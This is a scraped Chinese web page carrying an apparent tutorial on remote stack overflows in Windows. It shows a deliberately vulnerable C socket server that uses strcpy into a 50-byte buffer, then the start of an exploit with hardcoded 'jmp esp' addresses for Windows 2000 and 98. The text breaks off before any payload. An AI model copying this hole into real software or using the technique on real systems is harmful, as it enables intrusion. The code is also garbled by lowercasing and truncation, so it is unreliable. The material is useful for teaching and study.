当前位置:首页 » 软件开发
开发技术指南» 文章正文
    引言: 下面是一个有问题的internet服务程序: /***
 

 

    摘要:   这篇文章中的信息适用于:          microsoft windows 2000 server       microsoft windows 2000 advanced server       --------------------------------------------------------------------------------        概要  ......
    摘要:   随着网络的不断发展,网络安全也越来越受到关注,原有的防火墙已经越来越难以独立保障网络的安全,这其中包含很多原因,主要是由于防火墙始终在明处抵挡外来的攻击,黑客针对防火墙的手段不断翻新,让它防不胜防,另一方面,很多攻击来源于网络内部,例如内部用户的越权操作或恶意破坏等,这些都对网络安全构成了极大的威胁。为更全面的保护网络不受攻击,入侵检测系统将发挥出不可替代的作用。首先入侵检测是被动式的,......


window系统下的远程堆栈溢出--《实战篇》

     下面是一个有问题的internet服务程序: 【程序编程相关:轻轻松松做无毒网管

【推荐阅读:警惕狂删文件的Win32.Cydog病毒

  /****************************************************************************/ 【扩展信息:黑客新动向:劫持域名

  /* server.cpp by ipxodi

  */

  

  #include

  #include

  char buff[1024];

  void overflow(char * s,int size)

  {

   char s1[50];

   printf("receive %d bytes",size);

   s[size]=0;

   strcpy(s1,s);

  }

  

  int main()

  {

   wsadata wsa;

   socket listenfd;

   int ret;

   char asd[2048];

  

   wsastartup(makeword(2,2),&wsa);

  

   listenfd = socket(af_inet,sock_stream,ipproto_tcp);

  

   struct sockaddr_in server;

  

   server.sin_family = af_inet;

   server.sin_port = htons(3764);

   server.sin_addr.s_addr=addr_any;

   ret=bind(listenfd,(sockaddr *)&server,sizeof(server));

   ret=listen(listenfd,2);

  

   int iaddrsize = sizeof(server);

   socket clientfd=accept(listenfd,(sockaddr *)&server,&iaddrsize);

   unsigned long lbytesread;

   while(1) {

   lbytesread=recv(clientfd,buff,1024,0);

   if(lbytesread

  #include

  #define win2000

  

  #ifdef win2000

  #define jumpesp "\x2a\xe3\xe2\x77"

  #endif

  #ifdef win98

  #define jumpesp "\xa3\x95\xf7\xbf"


...   下一页
 ·basicintegeroverflows    »显示摘要«
    摘要:   volume 0x0b, issue 0x3c, phile #0x0a of 0x10      |=--------------------=[ basic integer overflows ]=----------------------=|  |=------------------------------------------------------------------......
» 本期热门文章:

©2000-2007 All Rights Reserved. 最佳浏览:1024X768 MSIE